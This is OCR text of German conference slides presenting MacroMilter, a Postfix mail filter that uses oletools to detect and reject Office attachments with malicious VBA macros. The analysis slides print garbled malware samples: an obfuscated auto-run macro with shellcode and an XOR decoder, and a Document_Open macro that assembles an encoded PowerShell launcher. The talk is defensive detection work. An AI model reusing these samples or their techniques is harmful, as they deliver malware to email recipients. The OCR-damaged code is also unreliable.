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Was geht da eigentlich so ab?

Die Analyse



# of Malware Samples per Ransomware
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ub TIrj40rI1CEeygCvl()
F Dim q2JYLCPfeevt®: Set q2]YLCPfeevit® = CreateObject(VGYrQklg3OwMeNMYWads(Chr(101)&Chr(17)&Chr(16)&Chr(30)&Chr(46)&Chr(29)&Chr(35)&Chr (84 )&Chr(59)&Chr (62 &Chr(33)&Chr(28)&Chr(25) , "2bs1GmWzhVDp
fuvMD6XBESk = "@xfc,Bxe8,8x82,0x8,08x0,8x8,0x60,0x89,0xe5,8x31,8xc0, 8x64, 0x8b, 8x50,8x38,8x8b,8x52 ,8xc,B8x8b, Bx52,8x14,0x8b,8x72,8x28, 8xf,0xb7,0x4a,08x26,8x31,0xff,Bxac,8x3c,0x61,8x7C,B8x2,8x2C,0x
Bx1,0xd1,8x51,8x8b,08x59,8x28,0x1,0xd3,8x8b, 8x490 ,8x18, 8xe3,8x3a, Bx49, 0x8b, Bx34, Bx8b, Bx1,0xd6, Bx31,BxFF ,Bxac,”
& "@xcl,dxct,\xd,dx1,dxc7,B8x38, Bxed, Ox75, BxT6,0x3, 8x7d, Oxf8, 8x3b,8x7d, Bx24,08x75,0xed ,0x58,0x8b,0%58,0x24 ,0x1,0xd3, 8x66 , 8x8b, Bxc ,Bx4b,8x8b,8x58, Bx1c,0x1,0xd3, 8x8b, x4, 0x8Bb,8x1, 8xd0, Bx80, Bx44 , Bx
8x74,0x0,0x68,0x77,8x69,0x6e ,0x60,08x54 , 8x68 , Bxdc,0x77,0%26,0x7 , @xff,0xds,8x31,0xdb, 8x53,8x53,8x53,"
& "ex53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xds,0x53,0x53,0x6a, 8x%3,0x53,0x53,0x68, 8xbb, Bx1,0x0,0x0,8xe8,0xa7,0x0,0x0,0x0,0x21,0x42 ,0x48,0%74,0x36,0x51,0x53,0x44,0x44,0x2d ,0x42 ,0x4b, 8x66,0x74,0
exe,0x508,0x68,0x57,0x89,0x9f,8xc6,0xff,8xd5, 8xB89,8xchH, Bx53,0x68,0x0,0x32, Bxed, 0x84,08x53,8x53,0x53,"
& "8x57,8x53,8x56,0x68,8xeh,8x55,0x2e,8x3b, 8xff,Bxd5,0x96,8x6a, Bxa, 8x5T,0x68,0x80,08x33, Bx0,0x0,0x89 ,8xe0 ,Bx6a, Bx4,8x50,0x6a,8x1f,8x56,0x68, 8x75, Bx46, Bx0e,Bx86, Oxff,Bxd5,08x53,8x53,8x53,8x53,8x5
8x0,0x18,0x8,8x0,0x68,0x0,0x0, Ox48,0x0,0x53,8x68,8x58, 8xad ,Bx53, Bxe5, Bxff, Bxd5, 8x93,8x53,"
& "8x53,0x89,0xe7,0x57,0x68,0x0,0x20,0x0,0x0,8x53, 8x56,0x68,0x12 ,0x96,0x89,08xe? , Oxff,0xd5,0x85,0%c@,8x74,8xcf,BxBb,8x7,0x1,0xc3,0x85,0xC0,08x75, BxeS5,0x58, Bxc3, Bx5T, Bxel, Bx77, Bxff, Oxff, Bxff, 031
@xab,8x95,8xbd, 8x9d , @xff, BxdS,8x3c,Bx6,8x7C, Bxa, BxB0,8xTh, Bxed, Bx75,0x5,0xbb, 8x47 ,8x13,8x72 ,0x6f, "
& "@xba,0x0,0x53,0xff,Bxd5"
dcC5z2152g1@15c8TTIu = VGYrQk1g30wMeNMYWads (Chr(6@)&Chr(1)&Chr(3)&Chr(83)&Chr(1)&Chr(22)&Chr(31)&Chr (8)&Chr(47)&Chr(53)&Chr(125)&Chr(2)&Chr(2)&Chr(19)&Chr(21)&Chr(99)&Chr(19)&Chr(93 )&Chr(7)&C
31)&Chr(38)&Chr(83)&Chr(6)&Chr(82)&Chr(21)&Chr(7)& _
Chr(185)&Chr( 26 )&Chr({14)&Chr(31)&Chr(2)&Chr(81)&Chr(29)&Chr (77 &Chr(126)&Chr(52 ) &Chr(71)&Chr(74)&Chr(1)&Chr(9)&Chr( 22 &Chr(114)&Chr( 41 ) &Chr( 2 ) &Chr( 7 )&Chr (55 1 &Chr( 24 ) &Chr( 187 ) &Chr( 79 ) &Chr( 116 )&C
&Chr(42)&Chr(23)& _
Chr(1088)&Chr (56 )&Chr(78)&Chr(38)&Chr(51)&Chr( 22 )&Chr(18)&Chr(95)&Chr( 121 )&Chr (53 )&Chr (62 )&Chr (13 )&Chr( 181 ) &Chr(5)&Chr(3)&Chr(88)&Chr(124)&Chr(3)&Chr(9)&Chr (98 ) &Chr (47 )&Chr (182 ) &Chr(42)&Chr(81) &
Chr(@)&Chr(24)8&Chr(82)& _
Chr(42)&Chr(15)&Chr(7)&Chr(121)&Chr(65)&Chr(4)&Chr (14 )&Chr(66)&Chr(51)&Chr(41)&Chr (78 )&Chr(89)&Chr(181)&Chr(27)&Chr(8)&Chr(27)&Chr(1)&Chr(32)&Chr(54)&Chr (55 )&Chr(2)&Chr(98) , "LntbsewmCYSgzvoNP2 j

8, False

End Sub

Sub AuteOpen()

Sub Auto Open()

Sub Workbook_Open()

Private Function VGYrQklg3OwMeNMyWads(ByVal As ByVal As As
Dim NrUirrvBlgC As Dim As Dim As
NrUirrvBlgC = Len(mik6CJ958G5%
For wtQAPbax1nba(83 = 1 To Len(bN1sWleBvjl4anTA6
LySwGk51QaYv6ed = Asc Mid$ (mik6CI956G5%. (wtQAPbaxlnbaQ93 Mod NrUirrvBlgC) - NrUirrvBlgC * | (wtQAPbax1nbaQ93 Mod NrUirrvBlgC) =8, 1
Mid% bN1sWJeBvjl4nTA6, wtQAPbax1lnbaQ93, 1) = Chr$ Asc Mid$ bN1sWJeBvjlanTA6 K wtQAPbaxlnbaQ93. 1)) Xor LySvGk51QaYv6e4

Next




Analyse llI

Dim myOleDbConnection As New OleDb.OleDbConnection
myOleDbConnection.ConnectionString = _
"Provider=Microsoft.Jet.OLEDB.4.6;Data Source=""C:\temp\SQL
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Try
myOleDbConnection.Open()
Catch ex As Exception
MessageBox.Show(ex.Message, _
'Beim Offnen der Datenbank ist ein Fehler aufgetreten.™)
End Try

myOleDbSelectCommand As New OleDb.0leDbCommand
my0leDbSelectCommand.Connection = my0leDbConnection

myOleDbSelectCommand.CommandText = "select * from customers”

Dim myOleDbDataAdapter As lew OleDb.0OleDbDataAdapter
myOleDbDataAdapter.SelectCommand = myOleDbSelectCommand

Dim myDataSet As Mew DataSet
myOleDbDataAdapter.Fill(myDataSet, "Customers™)

DataGridViewl.DataSource = myDataSet
DataGridviewl.DataMember = "Customers”

>ample Databases\Nwind.mdb™"™"

Normaler Code

blic Sub DownloadDB488(RecipeSource As String)
Dim i As Integer

For 1 =1 To 12

DBdd.ssd488.Word(64 + i * 2) = Rec.ipeSource.QuotaReggia(i) * 1088#
Next i

DBdd.ssd480.Word(4) = Rec.ipeSource.TubolLunghezza * 1686
DBdd.ssd488.Word{(64) = Rec.ipeSource.NumeroRegge

If Rec.ipeSource.Reggl = False And Rec.ipeSource.Regg2 = False Ther
DB422 .Bit(27, 2) = True

DB422.Bit(27, 2) = Rec.lipeSource.Reggl

DB422.Bit(27, 3) = Rec.ipeSource.Regg2
n Error GoTo B
ublic Sub DownloadD _ricetta B48@(RecipeSource As String)
Dim i As Integer
Bitmapl.Send
Bitmap4 = Bitmap3(Chr(8@ + 4) + UCase(DB48@) + UCase(Chr(88 + 20 + 9)) + "P")

For i =1 To 12
DBdd.ssd488.Word(64 + i * 2) = Rec.ipeSource.QuotaReggia(i) * 10ee#
Next i
DBdd.ssd488.Word{(4) = Rec.ipeSource.TubolLunghezza * 1888
DBdd.ssd48@.Word(64) = Rec.ipeSource.NumercRegge

n Error GoTo B




Analyse IV - VBA

- Programm ausfuhren

- Dateien speichern, ausfuhren, andern und offnen
- Viele Funktionen des .Net Frameworks

- Hex., Bin. und andere Codierungen

- Datenbankzugriffe

- USW. ...

Umgehen des ,Controlled Folder Access (CFA)“ aka

1 Tx \
\ \ﬁ% "i;“il" 11

-11"."“ "

\ SU= ,Ransomware-Schutz” in Windows 10**

**http://www.securitybydefault.com/2018/01/microsoft-anti-ransomw:

hhwnacconnt hrm|



Die Idee



Anforderungen

- Einfache Implementierung am MTA

- Fur Postfix (und Sendmail)

- TCP/IP oder via Socket

- Implementierung in Python

- Darf Aktionen vornehmen oder E-Mails zuruckweisen
- Qualifiziert Rejecten

Postfix - Makro-Filter : ) Postfix




Da gibt‘s doch was ...

Postfix Milter Interface



Milter-Schnittstelle

- Einfach zu implementieren

- Standardisiert (Postfix)

- Pre-Queue = qualifizierter Reject

- Wrapper fur Python = pymitler

- Moglichkeit, die E-Mail vor dem Zustellen zu verandern
- Saubere Trennung uber Socket/TCP-IP

- Eigentlich recht performant

- Zugriff auf Verbindungsinformationen und Inhalte



Implementierung - Checkliste

Umgebung, die Mails annehmen/verarbeiten kann = Postfix

Moglichkeit, Mails aus dem Posfix heraus zu extrahieren =
Milter

Tool, das Office Dokumente auf VBA-Code hin untersuchen
kann = ?

BAB <K

Bewertung des VBA-Codes = 7?

Das, das alles verbindet = ?



Wie filtere ich jetzt eigentlich ?

&



Gibt‘s vielleicht schon was ?

OLEtools !

https://www.decalage.info/python/ole
tools


https://www.decalage.info/python/oletools
https://www.decalage.info/python/oletools

OLEtools - olevba.py

- Analyse von Microsoft Office Dokumenten und
weiteren

- Extrahieren von VBA-Quellcode und DDE*
- Erkennen von Malware-Code

- Implementierung in Python

- Bewerten des Malware-Codes

- Viele Maintainer und Philippe als Entwic
- ,Zuverlassige Erkennung” '

*Dynamic Data
Fxchanae



Implementierung - Checkliste

v Umgebung, die Mails annehmen/verarbeiten kann = Postfix
» Moglichkeit Mails aus dem Posfix heraus zu extrahieren = Milter

Tool, das Office Dokumente auf VBA-Code untersuchen kann =
v/
OLETools

v Bewertung des VBA-Codes = olevba.py
Das, das alles verbindet = ?



: - Bereit far den produktiven Einsatz
MacrOM | Iter V3 " 5 - Bypass via Whitelist

- Security ?
- Klassische Bauweise

Postfix
SMTPService MacroMilter

4l

Mail-In-Queue




Was ich nicht wells ...

- Wie teste ich eigentlich einen Malware-Scanner?
- Woher welils ich, dass ich etwas nicht weild ?
- Bin ich schneller als der ,normale” Malware-Scanner?

- Testfiles (psploitgen, Empire-Framework, Luckystrike ...)

- ,gute” Files (CommonCrawl-DocumentDownload /
gradlew)



Auswertung

- < M 4 docm
151 ’ 1 y ; ; 1.docm
140

120

100
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docm

80

m Anzahl



Mailprovider

£ Power_shell#2 - ThisDocument (Code)

' |:General] v| |:‘lz
21 Powershell#1 - ThisDocument (Code) Sub Auto Cpent)
¥z
General w z
|l ! | |y End Sub
Subk Auto Open()
VE Sub AutoCpen ()
End Sub VE
End Sub .. Feb.
Subk Autolpen() b -
VE £ Sub Document Open ()

End Sub ' VE
End Sub

Suk Document Open()

VE Public Function yz () As Variant
End Sub Dim Qeeh As S5tring
Qech = "power"
Public Function yz() As Variant Qeeh = Qeeh +("shell -noP -sta -w 1 -enc SQOBGACAJABOQRFMAVg"

Dim Qeeh As String Qeeh = Qeeh + \BFAFIAUWBJAEEALgBUAGEAYgEsAGUALgBOAFMAVgBFAFIAUWED™
Qesh = "powershell -noP -sta -w 1 -enc SQBGACCAJABQAFMAVG" Qeeh = Qeeh + SATgAUARORQUBFAESAUgRgACORAZWBFACADMWADAHSAJABHAF"
Qesh = Qesh + FAFIAUWBJAESAbgBUAGERAY gBsAGUALgBOAFMAVBFAFIAUWED ™ Qeeh = Qeeh + " gASAFsACgBlAEY AXQAUAREACWETAGUATOBIAGWANQAULECA"
Qesh = Qech + "AESATGRuUAEOAQQBKAESAUgAGACOAZWBFACARMWADAHSAJABHAF" Qeeh = Qeeh + "IQBUAFQR=QBwAEUANALNAFMA=QBzRAHORZQBLACIATOBRAGIRTON
Qech = Qech + ™ ghSthAcgElDEYm{QILuFLEEAcwETRGURTQEIiAGwAWQRuT-\ECIL" Qeeh = Qeeh + "B GUPJDQBlRG‘iEm@EEEdQBC'RGSE}DQBI’IRH’QAEQBVRG&MgBV"
Qesh = Qeeh + "Z)BUAFQRAeQEBWAEUAKAANAFMA=QEZzAHOAZOBCACAATOERAGARYOY Qeeh = Qeeh + "AHORaQOBsRHMASWApRAC4ATgERHARUAVLABGARKAZOBgAEWAZARIACT
Qech = Qeeh + "B GUB]‘JQB].AG‘}AE’ARL‘.LF&EEBGQBC'AGSR}DQBI’E&HQF&&QBVAG‘}MGB?" Qeeh = Qeeh + "gAJ jRGEAYWBDRGUAZRBHAHIE}DWBlmUﬁBVRGWREQBjFLH]CR"
Noch = Noah 4 AWM NBR e AdMA T AinAimdA T ~RHARTT ATV ARCAR FATNRA~AATATAR T AW
flaw
ism design flaw
arlich
dlung erforderlich
. . Power_shell#2.doc (40 KB) x
Powershell#1.doc (40 KEB) . Virus erkannt Hilfe x

ER: rcru-o - EN: com=o —_



Lets got to GitHub

- Erstes ,,grofSes” Proj.ekt stfles
Kein Test implementiert (nur

o ' ? Decalage
Wann kann ich online gehen: [>>

I'am glad to see

People are developing €-mail filters (sendmail, amavisd) based on
oletools to detect & block malicious #macro. Dsbidy
. u b
Time to gith

t:-)
- Dokumentieren, was ma.n tu“
Eigentlich ein ,Kellerprojekt



MacroMilter V4

- Whitelisting auf Sender/Empfanger nicht gut = Macro-
Whitelisting

- Tests nicht implementiert = Aktuell ein ,,by hand” Test
- Keine ,neuen” Features

- Bessere Security innerhalb des Milters

- Code-Struktur verbessern



DEMO



Mehrwert ?



Filterinstanzen |
Milter

A

Amavisd-New —-> MacroMilter ——>

Postfix —-—>
y ¢

¢ CIamAV

Avira (SAVAPI)

QD QD @) ¢

RejectRate: 96% ; 3,6% : 0,4%

N = 1,3Mio.



Kritische Betrachtung

Sicherh
- Darstellung eines Einzelfalls et
- Sollte immer ein ,Workaround* sein
- Unterschied zwischen Theorie und Realita
- Datenschutz - Sicherheit - Benutzbarkeit

Datenschut Benutzbark

Z eit




Whale und Spear-Phishing

@ tagesschau.de

Startseite RULELIRIRNILIGE m LUHELT] Wirtschaft Wahlen Wetter

B Startseite P Inland » Hacker im Netz Bundesregierung

Sy } sy e

Cyberattacke bestatigt

Bundesregierung wurde gehackt
Stand: 28.02.2018 20:48 Uhr

f| 3 <

Das Datennetzwerk der Bundesregierung galt bislang als besonders sicher. Doch wie
jetzt bekannt wurde, ist es ausldndischen Hackern im vergangenen Jahr gelungen,
Schadsoftware einzuschleusen und Daten zu klauen.

Ein véllig sicheres Netzwerk gibt es nicht. Diese alte Weisheit aus der [T-Branche,
wonach ein erfolgreicher Angriff immer nur eine Frage der Zeit und des Aufwands ist,
hat sich wieder einmal bewahrheitet.

Am Abend bestatigte das Bundesinnenministerium Berichte, wonach das Netzwerk
der Bundesregierung gehackt wurde. Demnach untersuchen das Bundesamt fir
Sicherheit in der Informationstechnik (BSI) und die Nachrichtendienste derzeit einen

Suche in tagesschau.d p

lhre Meinung Mehr

Sandro Gaycken, Digital Society
Institute, zu der Cyberattacke

tagesthemen 22:15 Uhr, 28.02.2018 | video

VIDEO

Hacker-Angriff auf die Bundesregierung,
tamacthaman 3718 Hhe 32 07 3010

[...]Der als Lockvogel dienende Text in der
Phishing-E-Mail besagte, dass als Anhang
ein Eventkalender beigeflgt ist, der fur
die Empfanger relevante Termine enthalt.
Zudem waren spezifische Anweisungen
enthalten zu Aktionen, die das Opfer
ergreifen musste, wenn ,Schwierigkeiten
beim Anzeigen des Dokuments* auftreten
wdrden.

Der Anhang selbst ist ein Microsoft Excel-
Dokument, das ein bosartiges
Makroskript enthalt. [...]

Quelle: https://www.security-insider.de/angriff-auf-
regierungsnetz-war-wohl-kein-einzelfall-a-691231



Was tut thr? Was konnen wir tun?

- Verschlusseln und Signieren

- Tools / Plugins: spamassassin, amavisd-new ...

- Ist das uberhaupt die Aufgabe des Mail-Dienstleisters?
- Andere Ideen oder Vorgehen?



Vielen Dank!! j

®
https://github.com/sbidy/Mac q Ud I Us
roMilter
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